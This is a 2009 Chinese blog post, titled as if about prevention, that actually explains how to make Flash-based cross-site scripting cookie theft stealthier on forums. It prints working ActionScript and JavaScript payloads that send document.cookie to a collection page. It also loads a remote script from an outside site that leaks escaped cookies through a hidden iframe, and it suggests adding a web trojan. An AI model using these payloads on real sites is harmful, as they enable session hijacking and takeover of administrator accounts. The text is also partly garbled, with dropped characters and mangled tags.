跨站脚本攻击:也说跨站脚本攻击的隐藏---如何防止Flash跨站攻击弹出IE窗口来源: 发布时间:星期六, 2009年9月12日 浏览:31次 评论:0
by: 冰狐浪子 http://www.icyfoxlovelace.com
前些天直忙着学习WIN32汇编直懒得写文章这些天来好像Flash跨站攻击闹挺凶但在实施Flash跨站攻击时那个弹出IE窗口很容易引起别人怀疑而使得Flash跨站攻击失败这确让人多少有点头疼大家是不是也直在寻找实施Flash跨站攻击时不弹出IE窗口思路方法来隐藏自己攻击行为呢?下面大家和我起来解决这个不大不小问题让Flash跨站攻击更完美吧! 般来说大家在进行Flash跨站攻击时都是自己做个Flash动画并在第帧中加入用于跳转到其他URLAtionScript脚本如下: getURL("JavaScript:window.open('http://用于收集Cookie网页地址?'+document.cookie)","_self") 然后把这个Flash动画置于论坛中签名、贴子或短信消息中用来获得管理员或用户Cookie从而得到管理权限进步伺机控制整个站点,最终达到自己目我们可以看到在整个跨站攻击中最重要就是这个AtionScript脚本啦!也就是这个脚本中用到代码打开了个我们又爱又恨窗口所以我们也只能从改造这个脚本代码来实现隐藏或者是去掉弹出IE窗口除此外别无它法! 我们先分析下上面AtionScript脚本它使用AtionScript脚本"getURL"跳转到个使用JavaScript协议URL(JavaScript协议后面就是我们非常熟悉JavaScript脚本代码)在JavaScript中使用document.cookie到Cookie并把Cookie和个用于收集Cookie网页地址连成个http协议URL地址最后使用window.open打开合成URL地址从而把Cookie用GET方式发送到用于收集Cookie网页并记录下来 通过上面分析我们进步了解那个弹出IE窗口是由于JavaScript协议中代码window.open所生成相信大家都知道window.open第 2个参数用来指定打开窗口名字其通用名称有"_media (IE6.0 在浏览器左边媒体面板内打开)"、"_blank (在新窗口中打开)"、"_parent (在当前框架父框架内打开假如当前框架无父框架此参数值等同于 _self)"、"_search (IE5.0 在浏览器左边搜索面板内打开)"、"_self(在当前窗口中打开覆盖当前文档)"、"_top (在所有框架的外最顶层窗口中打开 假如当前窗口无框架结构此参数值等同于 _self )"等几种如果我们以"_search"来打开窗口不是就没有了弹出IE窗口了吗?AtionScript脚本改为: getURL("JavaScript:window.open('http://用于收集Cookie网页地址?'+document.cookie,'_search')","_self") 当然这样做会打开搜索面板也会引起怀疑但却可以躲过那些关闭弹出窗口软件Software追杀!姑且也算种思路方法吧! 如果仅仅是上面所说相信不少读者要把我 看到这里聪明你是不是想到了点解决思路?对!既然支持JavaScript啦还有啥东东会不能解决呢?JavaScript真是好处多多呀! 如果你曾看了我那篇"打造个完美IE网页木马"文章并且你对其中代码深深理解话你可以自己先去想象下啦!呵呵...... 在那篇文章中有下面这样段代码: jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//'); window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval;","icyfoxlovelace"); 使用了javascript协议把自己网站WebSite上个js代码文件插入到了本地文件中同样道理我们也可以用它把个js代码文件插入到进行跨站攻击论坛网页中相应AtionScript脚本改为: getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval;","_self") 其中icyfox.js得内容如下: cookieurl="http://用于收集Cookie网页地址?cookie="+escape(document.cookie); /*这里使用了escape()对cookie编码用来防止cookie中些特殊*/ document.body.insertAdjacentHTML('beforeEnd','<rame WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/rame>'); /*这里使用了insertAdjacentHTML在body最后插入了个不可见框架*/ 这里主要是利用了可以在个网页中引入区别域中javascript代码文档而且所引入javascript代码文档会和本网页融为体特点! 好啦!至此Flash跨站攻击弹出IE窗口问题算是解决啦!当然如果你愿意在icyfox.js中加个网页木马的类我也无话可说! 最后我再顺便说句它同样可以用于在其他类型跨站脚本功击中隐藏弹出IE窗口!比起利用Microsoft.XMLHTTPControl控件发送COOKIE要随意多它不会像Microsoft.XMLHTTPControl控件那样只能发给当前服务器还有焦点上czy"利用Microsoft.XMLHTTPControl控件发送COOKIE"文中提到这样句话: "以前我想了个在网页中用insertAdjacentHTML思路方法来注入HTML语句办法勉强可以作到发送COOKIE不出现IE窗口但是在实际使用中有时会遇到IE出错" 具我分析是在COOKIE中存在了些特殊而czy没有正确处理或是编码才会在实际使用中有时会遇到IE出错所以上面代码我用了escape()对cookie编码在接受到cookie后请注意用unescape()来解码! --------------icyfoxlovelace/冰狐浪子 0
相关文章读者评论发表评论 |